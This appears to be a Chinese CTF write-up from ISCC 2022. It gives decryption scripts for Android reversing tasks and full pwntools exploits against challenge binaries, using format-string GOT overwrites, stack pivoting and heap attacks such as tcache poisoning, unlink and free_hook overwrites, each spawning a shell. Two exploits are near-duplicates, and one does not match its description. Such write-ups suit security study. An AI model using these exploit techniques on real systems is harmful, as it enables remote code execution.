输入的字符串从第五位到"“这一部分传入到Jlast,在Jlast里面进行md5+base64,ISCC-WP_第23张图片
从这里可以看出,”
“到倒数第二位全部进行AES加密再进行base64加密,
key为加密之后的"K@e2022%%y”,
iv是"I&V2022*",
进行逆向运算

#include
using namespace std;

int main() {
    int i = 0;
    bool z = false;
    char a[] = "=IkMBb+=gF2/Try5PCUruw1j";
    char b[100];
    for (int i2 = 5; i2 >= 0; i2--) {
        if (!z) {
            for (int i3 = 3; i3 >= 0; i3--) {
                b[(i3 * 6) + i2] = a[i];
                i++;
            }
            z = true;
        }
        else {
            for (int i4 = 0; i4 <= 3; i4++) {
                b[(i4 * 6) + i2] = a[i];
                i++;
            }
            z = false;
        }
    }
    for (int num = 0; num < 24; num++) {
        cout << b[num];
    }
    cout << endl;
    system("pause");
    return 0;
}

然后将得到的内容进行MD5,base64解密。
得到的内容进行aes解密
在这里插入图片描述
就能得到flag。

MobileB

在这里插入图片描述
在这里插入图片描述
通过分析so文件 构造·payload

a = input("加密的数据:")[:-1]
print("输入so的数据:")
b = input("one:")
b+=b
c = input("two:")
c+=c
d = input("three:")
d+=d
e = input("four:")
e+=e
f = input("five:")
f+=f
g = input("six:")
g+=g
h = input("seven:")
h+=h
i = input("eight:")
i+=i
j = input("nine:")
j+=j
k = input("ten:")
k+=k
l = input("eleven:")
l+=l
m = input("twelve:")
m+=m
n = [5,1,51,2,52,12,512,3,53,13,513,23,523,123,5123,4,54,14,514,24,524,124,5124,34,534,134,5134
,234,5234,1234,51234]
a=list(map(int,a.split("0")))
o="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
p = []
for r in a:
    p.append(o[n.index(r)])
q = [d,m,g,i,h,c,e,l,b,f,j,k]
print("ISCC{",end='')
for r in range(12):
    print(q[r][q[r].index(p[r],26)-9],end='')
print('}')

MobileC

输入错误会有"输入错误,继续加油"的提示。
逻辑分析: 将输入进行 CBC 模式的 AES 加密,key通过Myjni.GetKey 获得,iv 是 aUBTJjg4Q2NDLg== 然后Base64后调用了 GetStr 后和指定的字符串比较,GetKey和GetStr都是mobilec库里的native函数
ISCC-WP_第24张图片

GetKey和GetStr都是mobilec库里的native函数
GetKey的值可以通过 objection hook直接获得: QERAPG9dPyZfTC5f
ISCC-WP_第25张图片

在这里插入图片描述

在libmobilec.so中找到Java_com_example_mobilec_MyJNI_Myjni_GetStr
调用了GetStrc

GetStrc里将第一个输入用"="补齐,然后分成了6组,
然后根据第二个输入选择6组中的几组作为结果返回,逆推回去,所以结果肯定6个组都包含,所以只需排列组合一下,用aes解密后筛选出有意义的答案即可。

from Crypto.Cipher import AES
import base64
def decrypt(password):
key = b'QERAPG9dPyZfTC5f'
iv = b"aUBTJjg4Q2NDLg=="
aes = AES.new(key,AES.MODE_CBC,iv)
result = aes.decrypt(base64.b64decode(password.encode()))
return result
from itertools import product
t =['c3KJ+XJQ','zJbrlKs=','NzQp2BU=','iLfdeK4=','J0xVWTT=','N3k3Kzy=']
for c in product(range(1,6),repeat=5):
if len(set(c)) != len(c):
continue
d = [0] + list(c)
s=''
for i in range(8):
for idx in d:
s+=t[idx][i]
print(decrypt(s[:-4]))

PWN

create_id

通过代码分析,格式化字符串漏洞将X等于9就可以cat flag.txt.
我们的格式化字符串位置在第10位

from pwn import*

p = remote("123.57.69.203",7010)
#p = process("./sp1")
#context(log_level="debug")
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
p.recvuntil("Can you find the magic word?\n")
printf_got =elf.got['printf']

payload1 = p32(puts_got)+b'%6$s'
p.sendline(payload1)
p.recv(4)
puts_addr = u32(p.recv(4))
    
base_addr = puts_addr - libc.symbols["puts"]
sys_addr = base_addr + libc.symbols["system"]
p.sendline('a')

payload = fmtstr_payload(6,{printf_got:sys_addr})
p.recvuntil('a\n')

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

sim_treasure

发现格式化字符串漏洞,IDA跟asvj****函数,里面调用了str的相关函数
使用returm to libc的方法
传入/bin/sh然后劫持printf函数就行

from pwn import *
context.log_level='debug'
#io=process("./sp1")
io=remote("123.57.69.203",7010)
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
io.recvuntil("Can you find the magic word?\n")

pay_1 = p32(elf.got["puts"])+"%6$s"
#gdb.attach(io)	
io.sendline(pay_1)
io.recv(4)
puts_addr = u32(io.recv(4))
print "puts_got="+hex(puts_addr)
#gdb.attach(io)
printf_got = elf.got['printf']
print "printf_got="+hex(printf_got)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print "system_addr="+hex(system_addr)
io.sendline("A")

payload1 = fmtstr_payload(6, {printf_got: system_addr})
io.recvuntil("A\n")
#gdb.attach(io)
io.sendline(payload1)
io.sendline("/bin/sh")


io.interactive();

跳一跳

Checksec 保护全开,猜测泄露Canary和栈迁移,构造exp

from pwn import *
from LibcSearcher import LibcSearcher
p=remote('123.57.69.203',7020)
p.recvuntil('Hello CTFer! Welcome to the world of pwn~\n')
elf=ELF('./attachment-10')
for i in range(216):
    p.sendline(b'123')
p.sendline(b'65')

p.send(b'c')
p.recvuntil(b'A')
result=p.recv()
canary=u64(result[:7].ljust(8,b'\x00'))*16*16
ebp=u64(result[7:13].ljust(8,b'\x00'))
print(hex(ebp))

print(hex(canary))
p.send(b'0'*(0xe0-8)+p64(canary)+b'c'*8+p8(0x98))
#第二次main

for i in range(231):
    p.sendline(b'123')
p.sendline(b'65')
p.recvuntil(b'A')

main=u64(p.recv(6).ljust(8,b'\x00'))-24
elf_base=main-0x128F
init=elf_base+0x1298
put_got=elf_base+elf.got['puts']
put_plt=elf_base+elf.plt['puts']
pop_rdi=elf_base+0x130b
leave=elf_base+0x124A
ret=elf_base+0x1016

init_1=elf_base+0x1250
fun=elf_base+0x1185

print(hex(put_plt))

payload=b'/bin/sh\x00'+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main)
p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0)+p64(leave))

#获取libc
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
print(hex(puts_addr))
print(hex(base))
system=base+libc.dump('system')

#第三次main

for i in range(231):
    p.sendline(b'123')
# gdb.attach(p)
p.sendline(b'65')
p.recvuntil(b'A')
payload=p64(ret)+p64(ret)+p64(pop_rdi)+p64(ebp-0xd0)+p64(system)
p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0-0xd8)+p64(leave))

p.interactive()

untidy_note

IDA分析完看到对堆进行了一些列操作,这是一个堆漏洞,构造exp

#coding=utf-8
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
# context.terminal=['tmux','splitw','-h']

ip = '123.57.69.203'
port = '7030'
reomote_addr = [ip,port]
binary = './untidy_note'

libc = ELF('./libc-2.27.so')
elf = ELF(binary)
if len(sys.argv)==1:
    p = process(binary)

if len(sys.argv)==2 :
    p = remote(reomote_addr[0],reomote_addr[1])

#----------------------------------------------------------------------
ru = lambda x : p.recvuntil(x,timeout=0.2)
sd = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
it = lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
rv6 = lambda : u64(rv(6)+b'\x00'*2)
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
bp = lambda src=None : attach(p,src)
sym = lambda name : libc.sym[name]
#----------------------------------------------------------------------

def leak(offset):
    addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    base = addr - offset
    print "[+]libc_base=>"+hex(base)
    return base

def menu(idx):
    sla("Your choose is:\n",str(idx))

def add(size):
    menu(1)
    ru("the note size is:\n")
    sl(str(size))

def free(index):
    menu(2)
    ru("index:\n\n")
    sl(str(index))

def edit(index,size,content):
    menu(3)
    ru("index:\n")
    sl(str(index))
    ru("the size is:\n")
    sl(str(size))
    ru("Content:\n")
    sl(content)

def show(index):
    menu(4)
    ru("index:\n")
    sl(str(index))

# attach(p)#,'b *$rebase(0x0000000000000A8B)')
sla("Your name is:",str("Epiphany"))
#--leak
add(0x10)
for j in range(25):
    add(0x20-1)

add(0x10) #26
payload =  'a'*0x10+p64(0)+p64(0x4b1)
edit(0,len(payload),payload)
free(1)

show(1)
offset = libc.sym['__malloc_hook'] +0x10 + 96
libc_base = leak(offset)

free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base

free(26)
# free(3)
#num = 27
payload = p64(free_hook)
edit(26,len(payload),payload)

add(0x10) #25
pause()
add(0x10) #26
payload = p64(system)
edit(26,len(payload),payload) 
pause()
edit(9,len('/bin/sh\x00'),"/bin/sh\x00")
pause()
free(9)
it()

heapheap

  1. 布置堆布局,通过一次释放堆块,合并,在下个chunk的prev_size留下size,为overlap做准备
  2. 重新申请回去,接着释放开头chunk,offbynull覆盖第三个chunk的inuse位,free掉第三个chunk,造成overlap,中间第二个chunk会overlap。
  3. 在unsortedbin中制造与tcachebin的chunk overlap,将stdout后12bit偏移链入tcache
  4. 申请到stdout,泄露libc,之后再构造chunk overlap,将frehook改为system
#!usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF("./heapheap")
libc = ELF("./libc-2.27.so")
def debug():
    gdb.attach(p, "b main")
# gdb.attach(p, "b *$rebase(0x)")

def add(size, content):
    p.sendlineafter("Please input your choice: ", '1')
    p.recvuntil("Please input the size:")
    p.sendline(str(size))
    p.recvuntil("Data:")
    p.send(content)

def free(idx):
    p.sendlineafter("Please input your choice: ", '2')
    p.recvuntil("Please input the index:")
    p.sendline(str(idx))

def attack():
    add(0x4f8, 'a')  # 0
    add(0xf8, 'a')  # 1
    add(0xf8, 'a')  # 2
    add(0xf8, 'a')  # 3
    free(2)
    add(0xf8, 'a' * 0xf0 + p64(0x700))  # 2
    for i in range(6):
        add(0xf8, 'a')
    for i in range(4, 10):
        free(i)
    free(1)
    free(0)
    free(3)
    add(0x4f8, 'a')  # 0
    add(0x28, p16(0xa760))  # 1
    add(0xf8, 'a')  # 3
    add(0xf8, p64(0xfbad1800) + p64(0) * 3 + '\x00')  # 4
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0
    log.info("libc_base==>0x%x" % libc_base)
    mlh = libc_base + libc.sym['__malloc_hook']
    sys = libc_base + libc.sym['system']
    ogg = libc_base + 0x10a41c

    free(2)
    add(0x1f8, 'a' * 0xc8 + p64(0x101) + p64(mlh))  # 2
    add(0xf8, 'a')  # 5
    add(0xf8, p64(ogg))  # 6
    p.sendlineafter("Please input your choice: ", '1')
    p.recvuntil("Please input the size:")
    p.sendline(str(0x58))

while True:
    try:
        # p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
        p = remote("123.57.69.203", 5320)
        attack()
        p.sendline("cat flag.txt")
        p.interactive()
        break
    except:
        p.close()

Huge_Space

  1. 溢出栈,布置栈迁移 rop
  2. 堆溢出覆盖 topchunk,free 到 unsortedbin,申请出来泄露 libc
  3. 申请大内存,溢出覆盖 tls 结构的 canary
  4. 输入 cmd,在 cmd 后面构造调用 execve 的 rop
  5. exit 返回到 main 函数,绕过 canary,栈迁移到 bss,调用 ececv
from pwn import *  
context.log_level = 'debug' 
context.terminal = ["/bin/tmux","sp","-h"] 
io = remote('123.57.69.203',5330 ) 
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') 
# io = process('./Huge_Space') 
#libc = ELF('.bc.so.6') 
elf = ELF('./Huge_Space') 
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) 
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00")) 
rl = lambda a=False : io.recvline(a) 
ru = lambda a,b=True : io.recvuntil(a,b) 
rn = lambda x : io.recvn(x) 
sn = lambda x : io.send(x) 
sl = lambda x : io.sendline(x) 
sa = lambda a,b : io.sendafter(a,b) 
sla = lambda a,b : io.sendlineafter(a,b) 
irt = lambda : io.interactive() 
dbg = lambda text=None : gdb.attach(io, text) 
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s))) 
uu32 = lambda data : u32(data.ljust(4, '\x00')) 
uu64 = lambda data : u64(data.ljust(8, '\x00')) 
ur64 = lambda data : u64(data.rjust(8, '\x00')) 
def add(idx,size,content): 
    sl('+++') 
    sla('Index:',str(idx)) 
    sla('Size: ',str(size)) 
    sla('Data: ',content) 
def show(idx,size): 
    sl('print') 
    sla('Index:',str(idx)) 
    sla('Size: ',str(size)) 
pop_rdi = 0x0000000000400be3 
pop_rsi_r15 = 0x0000000000400be1 
pop_rdx = 0x0000000000001b96 
pop_rbp = 0x0000000000400860 
leaveret = 0x40090F 
sh = 0x400909 
writee = 0x400B19 
# dbg() 
sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret)) 
add(0,0x10,'A'*0x10+p64(0)+p64(0xd81))
add(1,0x1000,'B')
add(1,0xd50,'')
#add(2,0x1fa0,'')
show(1,0x20) 
# show(2,0x20) 
# irt() 
libcbase = l64() - 0x3ebc00 
lg('libcbase') 
execve = libcbase + libc.symbols['execve'] 
lg('execve') 
sl('666') 
# dbg() 
add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8) 
sl('exit\x00\x00\x00\x00/bin\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+ p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve)) 
irt()

Unlink

# coding=utf-8
# *- coding:utf-8 -*-
# from pwn_debug import *
from struct import pack
from pwn import *
import sys;import time;import os
context(os="linux", arch="amd64", log_level="debug")
# context(os="linux",arch="i386",log_level="debug")
filename = "unlink"
libcpath = ""
sh = 0
lib = 0
elf = ELF(filename)  # local长
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")  #
#  remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec = False)
#  libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so")
u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6 giantbranch  2.23-0ubuntu10
u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6        Rencvn       2.27-3ubuntu1.5
u20_local_one = [0xe3b2e,0xe3b31,0xe3b34]  # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6        Ln-Pwn       2.31-0ubuntu9.7

""" """
l64 = lambda                :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda                :u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00"))
#bytes ==>  int
#常用于调用了ROP输出类函数后,接受并转化为int类型
#                       uxx(   ru("\x7f")[-6:].ljust(8,"\x00")    )
leak= lambda name,data      :sh.success(name + ": 0x%x" % data)
s   = lambda payload        :sh.send( payload)
sa  = lambda a,b            :sh.sendafter(str(a),str(b))
sl  = lambda payload        :sh.sendline(payload )
sla = lambda a,b            :sh.sendlineafter(str (a),str(b))
ru  = lambda a              :sh.recvuntil(str(a))
r   = lambda numb=4096      :sh.recv(numb)
# https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e
rl  = lambda                :sh.recvline()
uu32= lambda data           :u32(data.ljust(4, b'\x00'))
uu64= lambda data           :u64(data.ljust(8, b'\x00'))
# https://blog.cc arol2358/article/details/106262701
info_addr = lambda tag, addr        :sh.info(tag + ': {:#x}'. format(addr))
check = lambda data                 :"data=",data,"|*|","type=>",type(data)

# 这里使用print会报错
# 交互时
# py2 <==> str = bytes
#addr=int(sh.recvuntil('\n',drop=True),base=16)

def add(index,size,data):
    success("########->add<-########")
    sl("add")                 # fgets
    sla("Index: ",str(index)) 
    sla("Size: ",str(size))   # scanf
    sa("Data: ",data+"\n")        # gets

def delete(index):
    success("########->delete<-########")
    sl("remove")              # fgets
    sla("Index: ",str(index)) # scanf

sys = 0x400896
#sh = process("./unlink")
sh = remote("123.57.69.203",5810)
#gdb.attach(sh,"b *0x400A78")
                #   malloc   # 
#gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) ) 
add(0,0x410,"aaaa")#fake_chunk)#0
add(1,0xe8,"bbbb")#1
add(2,0x4f0,"cccc")#2
add(3,0x60,"/bin/sh\x00dddd")#3
add(4,0x60,"/bin/sh\x00eeee")#4

delete(0)
#pause()
delete(1)
for i in range(6):
   add(1,0xe8-i,"b"*(0xe8-i))
   delete(1)

add(1,0xe8,"b"*0xe0+p64(0x510))#1
delete(2) #合并chunk2+chunk1+chunk0
success("合并chunk")

delete(1)
fgets_got  =  elf.got["fgets"]#0x601050 
free_got  = elf.got["free"]#0x601018
system_plt = elf.plt["system"];system_got = elf.got["system"]
puts_plt = elf.plt["puts"]

add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420)+p64(0xf0)+p64(free_got))#chunk0 + chunk1
add(5,0xe0,"/bin/sh\x00ffff")

add(6,0xe0,3*p64(system_plt+6))

#add(6,0xe0,2*p64(0x400706)) #xxx
#add(6,0xe0,2*p64(sys))
raw_input()
sl("/bin/sh\x00")
#delete(5)
sh.interactive()

h-o-s

在cmd布置fakechunk,free到unsortedbin泄露libc,再次将fakechunk释放到tcache,制造overlap,将freehook链入tcache,打freehook为system

# -*- coding: UTF-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5820 )
# io = remote('127.0.0.1',49161 )
# libc = ELF('./libc-2.31.so')
# io = process('./hos')
libc = ELF('./libc.so.6')
elf = ELF('./hos')

l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False     : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x           : io.recvn(x)
sn = lambda x           : io.send(x)
sl = lambda x           : io.sendline(x)
sa = lambda a,b         : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s           : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data      : u32(data.ljust(4, '\x00'))
uu64 = lambda data      : u64(data.ljust(8, '\x00'))
ur64 = lambda data      : u64(data.rjust(8, '\x00'))

def add(size,content):
    sl('fill')
    sl(str(size))
    sl(content)
def delete():
    sl('get')


buf = 0x6010a0
cmd = 0x601160

add(0x41,'a')#n =0
# add(0x31,'a')#n=0
pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70)
sl(pay)
sl('get')#n=-1
add(0x81,'a')#n=0
add(0x81,'a')#n=1
add(0x81,'a')#n=2
add(0x81,'a')#n=3
add(0x81,'a')#n=4
add(0x81,'a')#n=5
add(0x81,'a')#n=6
add(0x81,'a')#n=7
delete()
delete()
delete()
delete()
delete()
delete()
pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10)
sl(pay)
add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1
delete()#n=0
sl('get')#n=-1
add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0
sl('get')#n=-1
libcbase = l64() -0x3ebca0
lg('libcbase')
freehook = libcbase + libc.symbols['__free_hook']
lg('freehook')
system = libcbase + libc.symbols['system']
lg('system')
add(0x81,'a')#n=0

pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = -1

pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = 0

add(0x81,p64(system))
add(0x41,'/bin/sh\x00')
delete()
# dbg()

irt()

你可能感兴趣的:(安全,CTF,web安全)